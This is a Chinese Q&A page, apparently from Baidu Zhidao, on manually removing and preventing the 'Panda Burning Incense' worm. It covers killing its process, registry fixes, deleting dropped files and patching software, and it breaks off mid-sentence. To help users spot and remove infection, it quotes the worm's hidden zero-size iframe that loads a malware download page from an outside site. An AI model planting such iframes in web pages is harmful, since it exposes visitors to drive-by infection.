熊猫烧香病毒如何防止??

来源:百度知道 编辑:UC知道 时间:2024/05/24 05:46:41

手工清除
第一步:点击“开始→运行”,输入“ntsd -c q -pn spoclsv.exe”并确定,结束病毒的进程。
第二步:在注册表中寻找“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL”,将CheckedValue的值改成1。打开“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run”,将svcshare的项目删除。
第三步:删除硬盘各个分区根目录下的“setup.exe”和“autorun.inf”文件;删除掉C:\Windows\System32\Drivers下的spoclsv.exe文件。
第四步:搜索硬盘上的网页格式文件,找到其中类似“<iframe src="http//www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>”的文字,将其删除。注意,被嵌入的代码可能是其他的网址。
该病毒的一些变种会感染EXE可执行文件,因此建议使用杀毒软件或专杀工具清除该病毒。

二、如何防范“熊猫烧香”病毒
第一,安装杀毒软件升级到最新版本,并打开实时监控程序。
第二,该病毒会利用IE、QQ等的漏洞进行传播。瑞星卡卡3.2中的IE防漏墙功能可有效阻止该病毒利用这些漏洞进行传播。
第三,计算机应设置复杂的密码,以防止病毒通过局域网传播。
第四,QQ、UC的漏洞已经被该病毒利用,